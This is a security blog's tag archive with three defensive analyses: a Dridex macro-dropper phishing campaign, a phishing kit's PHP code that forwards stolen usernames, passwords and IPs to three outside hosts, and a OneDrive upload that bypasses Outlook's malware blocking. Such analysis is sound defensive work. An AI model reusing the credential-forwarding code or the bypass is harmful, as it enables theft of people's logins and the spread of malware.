Tag Archives: VirusTotal

Canadian hospital under attack

26 March 2016

Reports on cyber-attacks don’t come to an end. Cyber-criminals seem to focus in particular on hospitals this year. In the case of the Norfolk General Hospital attackers modified the hospital’s homepage to serve the Teslacrypt ransomware to clueless visitors. The ransomware is delivered by drive-by download when the page is opened – you won’t even need to click on something on the page.

However, this does not mean that spear-phishing with malicious attachments is no longer modern. Cyber-criminals use a range of attack methods, and outdated application middleware on a server, which is connected to the Internet, is a worthwhile destination.

On Tuesday I got two spear phishing emails directly in my inbox. A short hack on VirusTotal showed that this were two zero days.

Two hours later, now at home, I analyzed the attachments in more details. Both attachments contained the same ransomware, but in different document formats. The attachments were now detected by 6 of 56 anti-malware systems on VirusTotal, e.g. by TrendMicro as W2KM_DRIDEX.YYSSH or by Avira as W2000M/Dldr.Agent.19573. That’s a reasonable result for classic anti-malware systems, although it means, that the anti-malware systems left the users unprotected for about 4 hours.

The VBA project with the auto-open macro was password protected. But LibreOffice writer was able to display the macros; it simply overrides the obviously weak VBA project protection functions of Microsoft Office.

W2KM_DRIDEX.YYSSH Code Sample

W2KM_DRIDEX.YYSSH Code Sample. Click to enlarge.

The auto-open macro creates a file dsfsdfsdf.vbe, submits the file to the C&C server, downloads an executable named Fuckyourself.ass and runs it. Fuckyourself.ass is detected as e.g. by Microsoft as Backdoor:Win32/Drixed, by ESET as Win32/Dridex.AA.

COMODO File Execution Message

COMODO File Execution Warning.

A next-gen endpoint protection solution would have containerized or blocked at least the critical event of executing dsfsdfsdf.vbe. An infection with Dridex would have been prevented. And this without any delay for updating malware patterns.

Happy Easter!

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STOP.THINK.CONNECT

11 October 2015

The past week was full of exiting discoveries. I got some really well-crafted phishing emails. They used the same bizarre landing page design, but showed a somewhat different method in POST processing. Since one of the landing sites was open for everyone I had the chance to create a copy of the POST processing php procedure:

…
$data = "#$user#$pass#:#$ip#$browser#$hostname";
$sites=array("http://XXXXXX0.biz/usr.php","http://www.XXXXXXX1.com/usr.php","http://XXXXXXXX2.eu/usr.php");
function writeit($data,$site) { 
 global $textHos;
    $data = array('info' => $data);
    $options = array(
        'http' => array(
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ),
    );
    $context  = stream_context_create($options);
    $result = file_get_contents($site, false, $context);    
}
foreach ($sites as $site) {
    writeit($data,$site);
}

Most of the phishing sites I analyzed in the past months send an email message with username and password to the bad guys. In this case username and password are forwarded to 3 sites for further processing.

I checked the phishing landing pages with VirusTotal.com but found in most cases that the sites were not rated malicious. Even after 5 days only 10 of 65 scanners classify the pages as malicious or phishing site.

What surprised me was that most of the pages were listed on Blacklist databases. Check the landing page in a phishing mail with e.g. IP INDETAIL. It’s very likely that the site is already listed on a Blacklist.

And it’s really remarkable that browsers do not check blacklists before they direct the user to a phishing site. Information for making the world a safer place is abundant, unfortunately no one seems to be interested in creating actionable knowledge from it.

But there were also bright spots. I learned of the STOP.THINK.CONNECT campaign of the The Anti-Phishing Working Group (APWG) and National Cyber Security Alliance (NCSA). The campaign’s slogan is Keeping the web a safer place for everyone. The campaign provides lots of information about Two Factor Authentication and tips for safe usage of the internet. Take a look at the funny video clips.

Take care, and have a good week.

Bypassing protection measures by direct upload of malicious content to OneDrive/Office 365

9 August 2015

I am happy about every email with malicious content or attachment, in particular if I find the mail in my inbox. Sound’s strange, but it’s important to analyze the technology of the attackers to develop proper protection strategies.

Last Wednesday I spent an hour with the analysis of an obviously malicious email attachment. Outlook blocked the access to the attachment without any error message. Therefore I logged in to my outlook.com account and opened the email:

Malicious Mail in Outlook.com

Malicious Mail in Outlook.com

A click on Download as zip resulted in the following error message:

The file “Automatische Lastschrift konnte nicht vorgenommen werden 05.08.2015.zip” is infected with an unknown virus, so it isn’t safe to download.

Perfect! This explains the strange behavior of Outlook. But saving to OneDrive surprisingly works.

Malicious Mail Save to OneDrive

Malicious Mail Save to OneDrive

Some minutes later I uploaded the zip archive to VirusTotal and found, that the malware was already known with name Trojan:Win32/Bulta!rfn. For more details please see below.

When I extracted the nested zip-archive to my local hard disk the endpoint protection system correctly identified the program, blocked access and took the predefined action.

What happened? The attackers used a standard technology (malware in nested zip archives) to deliver their payload. The outlook client and outlook.com both blocked downloading the payload because they identified a suspicious attachment.

But all protection could be bypassed by uploading the file to OneDrive. When OneDrive or Office 365 is used as collaboration platform with suppliers and partners an attacker could easily use bypass to distribute malicious content across companies. In particular for zero day exploits this may become a serious problem.

For protection against the download of malicious content from Cloud Services we have to change our endpoint protection strategy. The anti-malware systems on the surf proxy will not recognize the malicious objects because the data stream is encrypted (https protocol used). Even if the surf proxy breaks SSL it is very likely that zero day exploits, and already known viruses, are not identified. The same holds for the endpoint protection systems on the end-users desktops.

But the first line of defense, the cloud provider, has the most important task. Bypassing protection by uploading malicious objects to the cloud storage is not acceptable. This strange behavior should be corrected as soon as possible. From the above we know that this is an easy task because the system already identified the attachment as malware.

Have a good week!


VirusTotal results: 2015-08-06 20:21:06 UTC

Detection rate: 23 / 55

AntiVirus Result Last Update
Avast Win32:Malware-gen 20150806
Microsoft Trojan:Win32/Bulta!rfn 20150806
Ikarus Trojan.Win32.Crypt 20150806
Arcabit Trojan.Mikey.D538C 20150806
DrWeb Trojan.Inject1.62743 20150806
TrendMicro TROJ_KR.2B7B2BF7 20150806
TrendMicro-HouseCall TROJ_KR.2B7B2BF7 20150806
Avira TR/Crypt.Xpack.248161 20150806
Rising PE:Trojan.Win32.Generic.18EBC66C!418104940 20150731
Sophos Mal/Generic-S 20150806
AVG Generic_r.FOY 20150806
Panda Generic Suspicious 20150806
Emsisoft Gen:Variant.Mikey.21388 (B) 20150806
Ad-Aware Gen:Variant.Mikey.21388 20150806
BitDefender Gen:Variant.Mikey.21388 20150806
F-Secure Gen:Variant.Mikey.21388 20150806
GData Gen:Variant.Mikey.21388 20150806
MicroWorld-eScan Gen:Variant.Mikey.21388 20150806
McAfee-GW-Edition BehavesLike.Ransom.lc 20150806
Kaspersky Backdoor.Win32.Androm.humu 20150806
Symantec Backdoor.Matsnu 20150806
McAfee Artemis!B65DB4920F67 20150806
ESET-NOD32 a variant of Win32/Kryptik.DSND 20150806
ALYac 20150806
AVware 20150806
AegisLab 20150806
Agnitum 20150806
AhnLab-V3 20150806
Alibaba 20150803
Antiy-AVL 20150806
Baidu-International 20150806
Bkav 20150806
ByteHero 20150806
CAT-QuickHeal 20150806
ClamAV 20150806
Comodo 20150806
Cyren 20150806
F-Prot 20150806
Fortinet 20150804
Jiangmin 20150804
K7AntiVirus 20150806
K7GW 20150806
Kingsoft 20150806
Malwarebytes 20150806
NANO-Antivirus 20150806
Qihoo-360 20150806
SUPERAntiSpyware 20150806
Tencent 20150806
TheHacker 20150805
VBA32 20150806
VIPRE 20150806
ViRobot 20150806
Zillya 20150806
Zoner 20150806
nProtect 20150806